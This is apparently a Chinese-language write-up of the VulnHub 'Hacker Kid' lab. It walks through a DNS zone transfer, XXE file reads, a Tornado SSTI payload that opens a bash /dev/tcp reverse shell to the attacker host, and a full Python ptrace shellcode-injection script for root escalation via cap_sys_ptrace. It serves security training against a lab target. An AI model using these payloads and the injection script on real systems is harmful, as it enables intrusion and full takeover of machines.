DNS区域传输漏洞
靶机下载地址:https: download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
打开靶机

打开kali作为攻击机
kali 的ip:192,。168.126.128

信息收集:
用nmap扫描找到靶机ip
nmap -sP 192.168.126.0/24

靶机ip: 192.168.126.132
nmap扫描靶机ip开放的端口:
nmap -T4 -A -sV 192.168.126.132

开放的端口有 53 ,80 , 9999
收集页面信息:
分别查看80和9999对应页面的内容


发现9999是一个登录的界面
右键查看80端口的源码发现提示:

需要传一个 GET 参数 page_no,才能看到其他页面内容。直接访问的时候在 URL 后面加 ?page_no=1、?page_no=2、?page_no=3
GET传参:
GET 传参就是你访问网页的时候,在网址后面加 ?参数名=值,把信息明文传给服务器,服务器根据你传的值返回不同内容。
这个参数的值太多用bp爆破
配置firefox代理:

先访问一下page_no=1发起请求,用bp拦截

拦下这个数据包后,右键点sent to intruder把这个数据包发到intruder这个模块开始爆破

配置好各项参数开始爆破:

爆破完成发现page_no=21这个响应明显更大一些,肯定有信息,去访问一下


find一个域名:
hackers.blackhat.local
用dig结合我们刚得到的域名继续挖掘信息(知道域名了,那就看看有没有对应的ip)
dig hackers.blackhat.local @192.168.126.132

查询得知了我们这次查的域名居然是不存在的,
但是blackhat.local这个DNS区是真实存在的,
它的权威服务器就是我们的靶机,我们尝试用axfr去拉取整个blackhat.localDNS区域的全部记录

发现一个新的域名: hackerkid.blackhat.local.
dig这个域名发现没用,就写 hosts 把域名→IP 固化(让系统能发 HTTP 请求),直接用浏览器去访问域名,看看能得到啥不
将域名以及ip添加到/etc/hosts中

xxe漏洞:
保存到/etc/hosts中

访问hackerkid.blackhat.local发现一个登录界面

使用bp抓一下数据包
(bp如果抓不到包的话,ctrl+shift+R强制刷新一下就可以)
随便输入点信息,打开bp代理,提交

分析抓到的数据包,发现是xml格式的数据包,这时看看有没有xxe漏洞,这里可以测试下有没有回显位,根据我们刚刚提交的信息得到的回应最有可能回显位就是email处,这里验证一下:

测处email处就是回显位
既然真的存在xxe漏洞,那我们就利用它去读取一下我们本地敏感文件,构造payload


用payload读取了靶机的所有用户,发现了root用户,还有一个用户saket也有登录bash的权限,可以加以利用,查看它的.bashrc文件看看里面是否有能利用的信息
.bashrc一般在用户的家目录下/home/saket/.bashrc
用file协议没出来,尝试php协议
php: filter/convert.base64-encode/resource=/home/saket/.bashrc

成功带出.bashrc文件,用cyberchef来base64解码得到用户和密码
用户: admin
密码:Saket!#$%@!!

想到上面用的9999端口拿到的登录界面,拿去登录一下
但是经过尝试,用户名为saket时才能登上

页面提示,让我们告诉它名字,那就想到get传参

SSTI模板注入
结合前面 nmap 扫描扫出来的信息知道这是一个基于tornado框架的web服务器,并且前面已经测试过了
有get传参,敏感一点,看看是否有ssti模板注入漏洞

测试一下

执行了,确认存在ssti模板注入漏洞,这样我们可以利用ssti来进行反弹shell
反弹shell
构造payload

导入 os 模块执行命令(反弹shell的命令)
http://192.168.126.132:9999/?name={% import os %}{{os.system("bash -c 'bash -i >& /dev/tcp/192.168.126.128/9999 0>&1'")}}
因为payload里面有很多特殊字符是需要实实在在的起作用的,所以我们先提起进行一次url编码(不编码会被浏览器拦截)

http://192.168.126.132:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%22bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.126.128%2F9999%200%3E%261%27%22%29%7D%7D
在线找的

payload的位置

在kali上监听9999端口
nc -lvp 9999



补充一下问题:
就是我一直提权不成功的问题

Capabilitie提权

使用如下命令发现具有Capabilities特殊操作权限的程序
/usr/sbin/getcap -r / 2>/dev/null -r 递归查询

通过上图我们发现python具备cap_sys_ptrace+ep 能力,所以我们可以对其进行利用然后进行提权。:
cap_sys_ptrace+ep

用到一个提权脚本:
# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
这个提权脚本的作用:
这是 Linux ptrace 进程注入脚本(x64),对应 Hackerkid 靶场的提权 EXP,利用带 cap_sys_ptrace+ep 的 python2.7,附加到一个进程、往它内存里写入 shellcode、修改指令指针 rip,让别的进程帮我们执行 shellcode 拿 root 权限
kali上编辑上面的代码,并起名为exp.py,打开http服务,并利用靶机进行下载
靶机:wget http://192.168.126.128/exp.py

因需要root进程进行注入,编写脚本对root进程批量尝试
for i in ps -ef|grep root|grep -v "grep"|awk '{print $2}'; do python2.7 exp.py $i; done

别忘了保证网络可行,还有exp.py加上可执行权限(这个一开始一直不成功,最后发现是我的网络的问题)
攻击机nc连这个端⼝:
ubutun查看端口的命令:
netstat -pantu | grep 5600

攻击机nc连这个端⼝:
nc -nv 192.168.128.132 5600
成功提权


root⽆法直接登录,改saket密码可以登录saket⽤⼾ 。
登⼊服务器界⾯,可以使⽤su转到root⽤⼾,说明root的密码已经被修改。
浙公网安备 33010602011771号